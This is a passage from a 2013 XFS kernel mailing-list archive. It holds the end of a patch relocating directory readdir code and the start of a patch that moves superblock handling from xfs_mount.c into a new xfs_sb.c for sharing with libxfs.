the directory block starting at the first mapping. + */ + mip->curdb = xfs_dir2_da_to_db(mp, map->br_startoff); + error = xfs_dir3_data_read(NULL, dp, map->br_startoff, + map->br_blockcount >= mp->m_dirblkfsbs ? + XFS_FSB_TO_DADDR(mp, map->br_startblock) : -1, &bp); + + /* + * Should just skip over the data block instead of giving up. + */ + if (error) + goto out; /* XXX */ + + /* + * Adjust the current amount of read-ahead: we just read a block that + * was previously ra. + */ + if (mip->ra_current) + mip->ra_current -= mp->m_dirblkfsbs; + + /* + * Do we need more readahead? + */ + blk_start_plug(&plug); + for (mip->ra_index = mip->ra_offset = i = 0; + mip->ra_want > mip->ra_current && i < mip->map_blocks; + i += mp->m_dirblkfsbs) { + ASSERT(mip->ra_index < mip->map_valid); + /* + * Read-ahead a contiguous directory block. + */ + if (i > mip->ra_current && + map[mip->ra_index].br_blockcount >= mp->m_dirblkfsbs) { + xfs_dir3_data_readahead(NULL, dp, + map[mip->ra_index].br_startoff + mip->ra_offset, + XFS_FSB_TO_DADDR(mp, + map[mip->ra_index].br_startblock + + mip->ra_offset)); + mip->ra_current = i; + } + + /* + * Read-ahead a non-contiguous directory block. This doesn't + * use our mapping, but this is a very rare case. + */ + else if (i > mip->ra_current) { + xfs_dir3_data_readahead(NULL, dp, + map[mip->ra_index].br_startoff + + mip->ra_offset, -1); + mip->ra_current = i; + } + + /* + * Advance offset through the mapping table. + */ + for (j = 0; j < mp->m_dirblkfsbs; j++) { + /* + * The rest of this extent but not more than a dir + * block. + */ + length = min_t(int, mp->m_dirblkfsbs, + map[mip->ra_index].br_blockcount - + mip->ra_offset); + j += length; + mip->ra_offset += length; + + /* + * Advance to the next mapping if this one is used up. + */ + if (mip->ra_offset == map[mip->ra_index].br_blockcount) { + mip->ra_offset = 0; + mip->ra_index++; + } + } + } + blk_finish_plug(&plug); + +out: + *bpp = bp; + return error; +} + +/* + * Getdents (readdir) for leaf and node directories. + * This reads the data blocks only, so is the same for both forms. + */ +STATIC int +xfs_dir2_leaf_getdents( + xfs_inode_t *dp, /* incore directory inode */ + struct dir_context *ctx, + size_t bufsize) +{ + struct xfs_buf *bp = NULL; /* data block buffer */ + xfs_dir2_data_hdr_t *hdr; /* data block header */ + xfs_dir2_data_entry_t *dep; /* data entry */ + xfs_dir2_data_unused_t *dup; /* unused entry */ + int error = 0; /* error return value */ + int length; /* temporary length value */ + xfs_mount_t *mp; /* filesystem mount point */ + int byteoff; /* offset in current block */ + xfs_dir2_off_t curoff; /* current overall offset */ + xfs_dir2_off_t newoff; /* new curoff after new blk */ + char *ptr = NULL; /* pointer to current data */ + struct xfs_dir2_leaf_map_info *map_info; + + /* + * If the offset is at or past the largest allowed value, + * give up right away. + */ + if (ctx->pos >= XFS_DIR2_MAX_DATAPTR) + return 0; + + mp = dp->i_mount; + + /* + * Set up to bmap a number of blocks based on the caller's + * buffer size, the directory block size, and the filesystem + * block size. + */ + length = howmany(bufsize + mp->m_dirblksize, + mp->m_sb.sb_blocksize); + map_info = kmem_zalloc(offsetof(struct xfs_dir2_leaf_map_info, map) + + (length * sizeof(struct xfs_bmbt_irec)), + KM_SLEEP | KM_NOFS); + map_info->map_size = length; + + /* + * Inside the loop we keep the main offset value as a byte offset + * in the directory file. + */ + curoff = xfs_dir2_dataptr_to_byte(mp, ctx->pos); + + /* + * Force this conversion through db so we truncate the offset + * down to get the start of the data block. + */ + map_info->map_off = xfs_dir2_db_to_da(mp, + xfs_dir2_byte_to_db(mp, curoff)); + + /* + * Loop over directory entries until we reach the end offset. + * Get more blocks and readahead as necessary. + */ + while (curoff < XFS_DIR2_LEAF_OFFSET) { + /* + * If we have no buffer, or we're off the end of the + * current buffer, need to get another one. + */ + if (!bp || ptr >= (char *)bp->b_addr + mp->m_dirblksize) { + + error = xfs_dir2_leaf_readbuf(dp, bufsize, map_info, + &curoff, &bp); + if (error || !map_info->map_valid) + break; + + /* + * Having done a read, we need to set a new offset. + */ + newoff = xfs_dir2_db_off_to_byte(mp, map_info->curdb, 0); + /* + * Start of the current block. + */ + if (curoff < newoff) + curoff = newoff; + /* + * Make sure we're in the right block. + */ + else if (curoff > newoff) + ASSERT(xfs_dir2_byte_to_db(mp, curoff) == + map_info->curdb); + hdr = bp->b_addr; + xfs_dir3_data_check(dp, bp); + /* + * Find our position in the block. + */ + ptr = (char *)xfs_dir3_data_entry_p(hdr); + byteoff = xfs_dir2_byte_to_off(mp, curoff); + /* + * Skip past the header. + */ + if (byteoff == 0) + curoff += xfs_dir3_data_entry_offset(hdr); + /* + * Skip past entries until we reach our offset. + */ + else { + while ((char *)ptr - (char *)hdr < byteoff) { + dup = (xfs_dir2_data_unused_t *)ptr; + + if (be16_to_cpu(dup->freetag) + == XFS_DIR2_DATA_FREE_TAG) { + + length = be16_to_cpu(dup->length); + ptr += length; + continue; + } + dep = (xfs_dir2_data_entry_t *)ptr; + length = + xfs_dir2_data_entsize(dep->namelen); + ptr += length; + } + /* + * Now set our real offset. + */ + curoff = + xfs_dir2_db_off_to_byte(mp, + xfs_dir2_byte_to_db(mp, curoff), + (char *)ptr - (char *)hdr); + if (ptr >= (char *)hdr + mp->m_dirblksize) { + continue; + } + } + } + /* + * We have a pointer to an entry. + * Is it a live one? + */ + dup = (xfs_dir2_data_unused_t *)ptr; + /* + * No, it's unused, skip over it. + */ + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { + length = be16_to_cpu(dup->length); + ptr += length; + curoff += length; + continue; + } + + dep = (xfs_dir2_data_entry_t *)ptr; + length = xfs_dir2_data_entsize(dep->namelen); + + ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; + if (!dir_emit(ctx, (char *)dep->name, dep->namelen, + be64_to_cpu(dep->inumber), DT_UNKNOWN)) + break; + + /* + * Advance to next entry in the block. + */ + ptr += length; + curoff += length; + /* bufsize may have just been a guess; don't go negative */ + bufsize = bufsize > length ? bufsize - length : 0; + } + + /* + * All done. Set output offset value to current offset. + */ + if (curoff > xfs_dir2_dataptr_to_byte(mp, XFS_DIR2_MAX_DATAPTR)) + ctx->pos = XFS_DIR2_MAX_DATAPTR & 0x7fffffff; + else + ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; + kmem_free(map_info); + if (bp) + xfs_trans_brelse(NULL, bp); + return error; +} + +/* + * Read a directory. + */ +int +xfs_readdir( + xfs_inode_t *dp, + struct dir_context *ctx, + size_t bufsize) +{ + int rval; /* return value */ + int v; /* type-checking value */ + + trace_xfs_readdir(dp); + + if (XFS_FORCED_SHUTDOWN(dp->i_mount)) + return XFS_ERROR(EIO); + + ASSERT(S_ISDIR(dp->i_d.di_mode)); + XFS_STATS_INC(xs_dir_getdents); + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) + rval = xfs_dir2_sf_getdents(dp, ctx); + else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) + ; + else if (v) + rval = xfs_dir2_block_getdents(dp, ctx); + else + rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); + return rval; +} + diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 97676a3..f24ce90 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -765,100 +765,6 @@ xfs_dir2_sf_create( return 0; } -int /* error */ -xfs_dir2_sf_getdents( - xfs_inode_t *dp, /* incore directory inode */ - struct dir_context *ctx) -{ - int i; /* shortform entry number */ - xfs_mount_t *mp; /* filesystem mount point */ - xfs_dir2_dataptr_t off; /* current entry's offset */ - xfs_dir2_sf_entry_t *sfep; /* shortform directory entry */ - xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ - xfs_dir2_dataptr_t dot_offset; - xfs_dir2_dataptr_t dotdot_offset; - xfs_ino_t ino; - - mp = dp->i_mount; - - ASSERT(dp->i_df.if_flags & XFS_IFINLINE); - /* - * Give up if the directory is way too short. - */ - if (dp->i_d.di_size < offsetof(xfs_dir2_sf_hdr_t, parent)) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - return XFS_ERROR(EIO); - } - - ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); - ASSERT(dp->i_df.if_u1.if_data != NULL); - - sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - - ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(sfp->i8count)); - - /* - * If the block number in the offset is out of range, we're done. - */ - if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) - return 0; - - /* - * Precalculate offsets for . and .. as we will always need them. - * - * XXX(hch): the second argument is sometimes 0 and sometimes - * mp->m_dirdatablk. - */ - dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOT_OFFSET(mp)); - dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); - - /* - * Put . entry unless we're starting past it. - */ - if (ctx->pos <= dot_offset) { - ctx->pos = dot_offset & 0x7fffffff; - if (!dir_emit(ctx, ".", 1, dp->i_ino, DT_DIR)) - return 0; - } - - /* - * Put .. entry unless we're starting past it. - */ - if (ctx->pos <= dotdot_offset) { - ino = xfs_dir2_sf_get_parent_ino(sfp); - ctx->pos = dotdot_offset & 0x7fffffff; - if (!dir_emit(ctx, "..", 2, ino, DT_DIR)) - return 0; - } - - /* - * Loop while there are more entries and put'ing works. - */ - sfep = xfs_dir2_sf_firstentry(sfp); - for (i = 0; i < sfp->count; i++) { - off = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - xfs_dir2_sf_get_offset(sfep)); - - if (ctx->pos > off) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); - continue; - } - - ino = xfs_dir2_sfe_get_ino(sfp, sfep); - ctx->pos = off & 0x7fffffff; - if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, - ino, DT_UNKNOWN)) - return 0; - sfep = xfs_dir2_sf_nextentry(sfp, sfep); - } - - ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & - 0x7fffffff; - return 0; -} - /* * Lookup an entry in a shortform directory. * Returns EEXIST if found, ENOENT if not found. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E2157FAF for ; Fri, 19 Jul 2013 01:25:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 021F9AC001 for ; Thu, 18 Jul 2013 23:25:55 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id f9Y9zP71VcUln8Lm for ; Thu, 18 Jul 2013 23:25:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUaAQwvMwgYMTkDGxmID7YvjnKFIAOUBo15hyuDJCqBLiQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048J-TI for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001yE-SP for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 20/49] xfs: introduce xfs_sb.c for sharing with libxfs Date: Fri, 19 Jul 2013 16:24:51 +1000 X-ASG-Orig-Subj: [PATCH 20/49] xfs: introduce xfs_sb.c for sharing with libxfs Message-Id: <1374215120-7271-21-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215150 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_mount.c is shared with userspace, but the only functions that are shared are to do with physical superblock manipulations. This means that less than 25% of the xfs_mount.c code is actually shared with userspace. Move all the superblock functions to xfs_sb.c and share that instead with libxfs. Note that this will leave all the in-core transaction related superblock counter modifications in xfs_mount.c as none of that is shared with userspace. With a few more small changes, xfs_mount.h won't need to be shared with userspace anymore, either. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 3 +- fs/xfs/xfs_mount.c | 817 ++++------------------------------------------------- fs/xfs/xfs_mount.h | 19 +- fs/xfs/xfs_sb.c | 771 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_sb.h | 20 ++ 5 files changed, 848 insertions(+), 782 deletions(-) create mode 100644 fs/xfs/xfs_sb.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 20b1d94..fb14461 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -47,6 +47,7 @@ xfs-y += xfs_aops.o \ xfs_iops.o \ xfs_itable.o \ xfs_message.o \ + xfs_mount.o \ xfs_mru_cache.o \ xfs_rename.o \ xfs_super.o \ @@ -81,7 +82,7 @@ xfs-y += xfs_alloc.o \ xfs_inode_fork.o \ xfs_inode_buf.o \ xfs_log_recover.o \ - xfs_mount.o \ + xfs_sb.o \ xfs_symlink_remote.o \ xfs_trans_resv.o diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 5c7272f..c0eafbe 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -61,69 +61,6 @@ STATIC void xfs_icsb_disable_counter(xfs_mount_t *, xfs_sb_field_t); #define xfs_icsb_balance_counter_locked(mp, a, b) do { } while (0) #endif -static const struct { - short offset; - short type; /* 0 = integer - * 1 = binary / string (no translation) - */ -} xfs_sb_info[] = { - { offsetof(xfs_sb_t, sb_magicnum), 0 }, - { offsetof(xfs_sb_t, sb_blocksize), 0 }, - { offsetof(xfs_sb_t, sb_dblocks), 0 }, - { offsetof(xfs_sb_t, sb_rblocks), 0 }, - { offsetof(xfs_sb_t, sb_rextents), 0 }, - { offsetof(xfs_sb_t, sb_uuid), 1 }, - { offsetof(xfs_sb_t, sb_logstart), 0 }, - { offsetof(xfs_sb_t, sb_rootino), 0 }, - { offsetof(xfs_sb_t, sb_rbmino), 0 }, - { offsetof(xfs_sb_t, sb_rsumino), 0 }, - { offsetof(xfs_sb_t, sb_rextsize), 0 }, - { offsetof(xfs_sb_t, sb_agblocks), 0 }, - { offsetof(xfs_sb_t, sb_agcount), 0 }, - { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, - { offsetof(xfs_sb_t, sb_logblocks), 0 }, - { offsetof(xfs_sb_t, sb_versionnum), 0 }, - { offsetof(xfs_sb_t, sb_sectsize), 0 }, - { offsetof(xfs_sb_t, sb_inodesize), 0 }, - { offsetof(xfs_sb_t, sb_inopblock), 0 }, - { offsetof(xfs_sb_t, sb_fname[0]), 1 }, - { offsetof(xfs_sb_t, sb_blocklog), 0 }, - { offsetof(xfs_sb_t, sb_sectlog), 0 }, - { offsetof(xfs_sb_t, sb_inodelog), 0 }, - { offsetof(xfs_sb_t, sb_inopblog), 0 }, - { offsetof(xfs_sb_t, sb_agblklog), 0 }, - { offsetof(xfs_sb_t, sb_rextslog), 0 }, - { offsetof(xfs_sb_t, sb_inprogress), 0 }, - { offsetof(xfs_sb_t, sb_imax_pct), 0 }, - { offsetof(xfs_sb_t, sb_icount), 0 }, - { offsetof(xfs_sb_t, sb_ifree), 0 }, - { offsetof(xfs_sb_t, sb_fdblocks), 0 }, - { offsetof(xfs_sb_t, sb_frextents), 0 }, - { offsetof(xfs_sb_t, sb_uquotino), 0 }, - { offsetof(xfs_sb_t, sb_gquotino), 0 }, - { offsetof(xfs_sb_t, sb_qflags), 0 }, - { offsetof(xfs_sb_t, sb_flags), 0 }, - { offsetof(xfs_sb_t, sb_shared_vn), 0 }, - { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, - { offsetof(xfs_sb_t, sb_unit), 0 }, - { offsetof(xfs_sb_t, sb_width), 0 }, - { offsetof(xfs_sb_t, sb_dirblklog), 0 }, - { offsetof(xfs_sb_t, sb_logsectlog), 0 }, - { offsetof(xfs_sb_t, sb_logsectsize),0 }, - { offsetof(xfs_sb_t, sb_logsunit), 0 }, - { offsetof(xfs_sb_t, sb_features2), 0 }, - { offsetof(xfs_sb_t, sb_bad_features2), 0 }, - { offsetof(xfs_sb_t, sb_features_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_incompat), 0 }, - { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, - { offsetof(xfs_sb_t, sb_crc), 0 }, - { offsetof(xfs_sb_t, sb_pad), 0 }, - { offsetof(xfs_sb_t, sb_pquotino), 0 }, - { offsetof(xfs_sb_t, sb_lsn), 0 }, - { sizeof(xfs_sb_t), 0 } -}; - static DEFINE_MUTEX(xfs_uuid_table_mutex); static int xfs_uuid_table_size; static uuid_t *xfs_uuid_table; @@ -199,64 +136,6 @@ xfs_uuid_unmount( } -/* - * Reference counting access wrappers to the perag structures. - * Because we never free per-ag structures, the only thing we - * have to protect against changes is the tree structure itself. - */ -struct xfs_perag * -xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) -{ - struct xfs_perag *pag; - int ref = 0; - - rcu_read_lock(); - pag = radix_tree_lookup(&mp->m_perag_tree, agno); - if (pag) { - ASSERT(atomic_read(&pag->pag_ref) >= 0); - ref = atomic_inc_return(&pag->pag_ref); - } - rcu_read_unlock(); - trace_xfs_perag_get(mp, agno, ref, _RET_IP_); - return pag; -} - -/* - * search from @first to find the next perag with the given tag set. - */ -struct xfs_perag * -xfs_perag_get_tag( - struct xfs_mount *mp, - xfs_agnumber_t first, - int tag) -{ - struct xfs_perag *pag; - int found; - int ref; - - rcu_read_lock(); - found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, - (void **)&pag, first, 1, tag); - if (found <= 0) { - rcu_read_unlock(); - return NULL; - } - ref = atomic_inc_return(&pag->pag_ref); - rcu_read_unlock(); - trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); - return pag; -} - -void -xfs_perag_put(struct xfs_perag *pag) -{ - int ref; - - ASSERT(atomic_read(&pag->pag_ref) > 0); - ref = atomic_dec_return(&pag->pag_ref); - trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); -} - STATIC void __xfs_free_perag( struct rcu_head *head) @@ -310,180 +189,67 @@ xfs_sb_validate_fsb_count( } /* - * Check the validity of the SB found. + * Update alignment values based on mount options and sb values */ STATIC int -xfs_mount_validate_sb( - xfs_mount_t *mp, - xfs_sb_t *sbp, - bool check_inprogress, - bool check_version) +xfs_update_alignment(xfs_mount_t *mp) { + struct xfs_sb *sbp = &mp->m_sb; - /* - * If the log device and data device have the - * same device number, the log is internal. - * Consequently, the sb_logstart should be non-zero. If - * we have a zero sb_logstart in this case, we may be trying to mount - * a volume filesystem in a non-volume manner. - */ - if (sbp->sb_magicnum != XFS_SB_MAGIC) { - xfs_warn(mp, "bad magic number"); - return XFS_ERROR(EWRONGFS); - } - - - if (!xfs_sb_good_version(sbp)) { - xfs_warn(mp, "bad version"); - return XFS_ERROR(EWRONGFS); - } - - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_notice(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); - } - - /* - * Version 5 superblock feature mask validation. Reject combinations the - * kernel cannot support up front before checking anything else. For - * write validation, we don't need to check feature masks. - */ - if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { - xfs_alert(mp, -"Version 5 superblock detected. This kernel has EXPERIMENTAL support enabled!\n" -"Use of these features in this kernel is at your own risk!"); - - if (xfs_sb_has_compat_feature(sbp, - XFS_SB_FEAT_COMPAT_UNKNOWN)) { + if (mp->m_dalign) { + /* + * If stripe unit and stripe width are not multiples + * of the fs blocksize turn off alignment. + */ + if ((BBTOB(mp->m_dalign) & mp->m_blockmask) || + (BBTOB(mp->m_swidth) & mp->m_blockmask)) { xfs_warn(mp, -"Superblock has unknown compatible features (0x%x) enabled.\n" -"Using a more recent kernel is recommended.", - (sbp->sb_features_compat & - XFS_SB_FEAT_COMPAT_UNKNOWN)); - } - - if (xfs_sb_has_ro_compat_feature(sbp, - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { - xfs_alert(mp, -"Superblock has unknown read-only compatible features (0x%x) enabled.", - (sbp->sb_features_ro_compat & - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); - if (!(mp->m_flags & XFS_MOUNT_RDONLY)) { + "alignment check failed: sunit/swidth vs. blocksize(%d)", + sbp->sb_blocksize); + return XFS_ERROR(EINVAL); + } else { + /* + * Convert the stripe unit and width to FSBs. + */ + mp->m_dalign = XFS_BB_TO_FSBT(mp, mp->m_dalign); + if (mp->m_dalign && (sbp->sb_agblocks % mp->m_dalign)) { xfs_warn(mp, -"Attempted to mount read-only compatible filesystem read-write.\n" -"Filesystem can only be safely mounted read only."); + "alignment check failed: sunit/swidth vs. agsize(%d)", + sbp->sb_agblocks); + return XFS_ERROR(EINVAL); + } else if (mp->m_dalign) { + mp->m_swidth = XFS_BB_TO_FSBT(mp, mp->m_swidth); + } else { + xfs_warn(mp, + "alignment check failed: sunit(%d) less than bsize(%d)", + mp->m_dalign, sbp->sb_blocksize); return XFS_ERROR(EINVAL); } } - if (xfs_sb_has_incompat_feature(sbp, - XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { + + /* + * Update superblock with new values + * and log changes + */ + if (xfs_sb_version_hasdalign(sbp)) { + if (sbp->sb_unit != mp->m_dalign) { + sbp->sb_unit = mp->m_dalign; + mp->m_update_flags |= XFS_SB_UNIT; + } + if (sbp->sb_width != mp->m_swidth) { + sbp->sb_width = mp->m_swidth; + mp->m_update_flags |= XFS_SB_WIDTH; + } + } else { xfs_warn(mp, -"Superblock has unknown incompatible features (0x%x) enabled.\n" -"Filesystem can not be safely mounted by this kernel.", - (sbp->sb_features_incompat & - XFS_SB_FEAT_INCOMPAT_UNKNOWN)); + "cannot change alignment: superblock does not support data alignment"); return XFS_ERROR(EINVAL); } + } else if ((mp->m_flags & XFS_MOUNT_NOALIGN) != XFS_MOUNT_NOALIGN && + xfs_sb_version_hasdalign(&mp->m_sb)) { + mp->m_dalign = sbp->sb_unit; + mp->m_swidth = sbp->sb_width; } - - if (unlikely( - sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an external log; " - "specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - if (unlikely( - sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an internal log; " - "do not specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - /* - * More sanity checking. Most of these were stolen directly from - * xfs_repair. - */ - if (unlikely( - sbp->sb_agcount <= 0 || - sbp->sb_sectsize < XFS_MIN_SECTORSIZE || - sbp->sb_sectsize > XFS_MAX_SECTORSIZE || - sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || - sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || - sbp->sb_sectsize != (1 << sbp->sb_sectlog) || - sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || - sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || - sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || - sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || - sbp->sb_blocksize != (1 << sbp->sb_blocklog) || - sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || - sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || - sbp->sb_inodelog < XFS_DINODE_MIN_LOG || - sbp->sb_inodelog > XFS_DINODE_MAX_LOG || - sbp->sb_inodesize != (1 << sbp->sb_inodelog) || - (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || - (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || - (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || - (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || - sbp->sb_dblocks == 0 || - sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || - sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); - return XFS_ERROR(EFSCORRUPTED); - } - - /* - * Until this is fixed only page-sized or smaller data blocks work. - */ - if (unlikely(sbp->sb_blocksize > PAGE_SIZE)) { - xfs_warn(mp, - "File system with blocksize %d bytes. " - "Only pagesize (%ld) or less will currently work.", - sbp->sb_blocksize, PAGE_SIZE); - return XFS_ERROR(ENOSYS); - } - - /* - * Currently only very few inode sizes are supported. - */ - switch (sbp->sb_inodesize) { - case 256: - case 512: - case 1024: - case 2048: - break; - default: - xfs_warn(mp, "inode size of %d bytes not supported", - sbp->sb_inodesize); - return XFS_ERROR(ENOSYS); - } - - if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || - xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { - xfs_warn(mp, - "file system too large to be mounted on this system."); - return XFS_ERROR(EFBIG); - } - - if (check_inprogress && sbp->sb_inprogress) { - xfs_warn(mp, "Offline file system operation in progress!"); - return XFS_ERROR(EFSCORRUPTED); - } - - /* - * Version 1 directory format has never worked on Linux. - */ - if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { - xfs_warn(mp, "file system using version 1 directory format"); - return XFS_ERROR(ENOSYS); - } - return 0; } @@ -571,283 +337,15 @@ out_unwind: return error; } -static void -xfs_sb_quota_from_disk(struct xfs_sb *sbp) -{ - if (sbp->sb_qflags & XFS_OQUOTA_ENFD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; - if (sbp->sb_qflags & XFS_OQUOTA_CHKD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; - sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); -} - -void -xfs_sb_from_disk( - struct xfs_sb *to, - xfs_dsb_t *from) -{ - to->sb_magicnum = be32_to_cpu(from->sb_magicnum); - to->sb_blocksize = be32_to_cpu(from->sb_blocksize); - to->sb_dblocks = be64_to_cpu(from->sb_dblocks); - to->sb_rblocks = be64_to_cpu(from->sb_rblocks); - to->sb_rextents = be64_to_cpu(from->sb_rextents); - memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); - to->sb_logstart = be64_to_cpu(from->sb_logstart); - to->sb_rootino = be64_to_cpu(from->sb_rootino); - to->sb_rbmino = be64_to_cpu(from->sb_rbmino); - to->sb_rsumino = be64_to_cpu(from->sb_rsumino); - to->sb_rextsize = be32_to_cpu(from->sb_rextsize); - to->sb_agblocks = be32_to_cpu(from->sb_agblocks); - to->sb_agcount = be32_to_cpu(from->sb_agcount); - to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); - to->sb_logblocks = be32_to_cpu(from->sb_logblocks); - to->sb_versionnum = be16_to_cpu(from->sb_versionnum); - to->sb_sectsize = be16_to_cpu(from->sb_sectsize); - to->sb_inodesize = be16_to_cpu(from->sb_inodesize); - to->sb_inopblock = be16_to_cpu(from->sb_inopblock); - memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); - to->sb_blocklog = from->sb_blocklog; - to->sb_sectlog = from->sb_sectlog; - to->sb_inodelog = from->sb_inodelog; - to->sb_inopblog = from->sb_inopblog; - to->sb_agblklog = from->sb_agblklog; - to->sb_rextslog = from->sb_rextslog; - to->sb_inprogress = from->sb_inprogress; - 